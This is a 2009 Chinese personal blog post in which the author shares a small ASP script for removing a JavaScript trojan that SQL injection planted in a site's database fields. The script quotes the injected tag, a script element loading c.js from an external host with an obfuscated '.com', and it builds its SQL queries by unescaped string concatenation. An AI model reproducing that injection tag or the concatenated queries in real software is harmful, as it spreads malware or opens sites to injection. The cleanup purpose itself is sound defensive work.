重庆男孩网


重庆男孩梦星星的个人官方博客,欢迎各位访问
BLOG 相册查看
BLOG 音乐播放
BLOG 日历助手
正在载入日历助手...
BLOG 统计信息
正在载入统计信息...
2009.1 22

SQL被注入了JS的木马病毒,自己写了一段小程序来处理

 / 2009-01-22 04:14:04 / 梦星星 / 技术&工程 / 浏览( ) / 评论( )

SQL被注入了JS的木马病毒,自己写了一段小程序来处理,虽然仍然比较麻烦,但至少也算简单得多了,下面的:id:列的ID字段,有些人喜欢将表中的ID号设为其它的,U_wdate为字段名,Web_Class为表。自己一个表一个表的操作,不知道其它人有什么更好的办法没,教一下我了。

<!--#include file="inc/conn.asp"-->
<meta http-equiv="refresh" content="2">
<%=replaceString("id","U_wdate","Web_Class")%>
<%
on error resume next
function replaceString(id,str,web) 'str为字段 web为表
sql="select "&id&","&str&" from "&web&""
response.write sql
set rs=conn.execute(sql)
do while not rs.eof
if rs(str)<>"" then
strr=replace(rs(str),"<script src=http://3bomb.%63om/c.js></script>","")
response.write strr
sql2="update "&web&" set "&str&"='"&strr&"' where "&id&"="&rs(id)&""
conn.execute(sql2)
end if
rs.movenext
loop
rs.close
conn.close
set rs=nothing
end function
%>

 

 Tags: 暂无标签
正在读取日志的评论数据,请稍后……
正在加载日志评论签写框,请稍后……
成员登录通道
正在载入成员登录通道...
BLOG 日志归档
BLOG 推荐日志
  • 暂时没有推荐日志
BLOG 最新评论
{$SideComment}
BLOG 最新留言
{$SideGB}
BLOG 站内搜索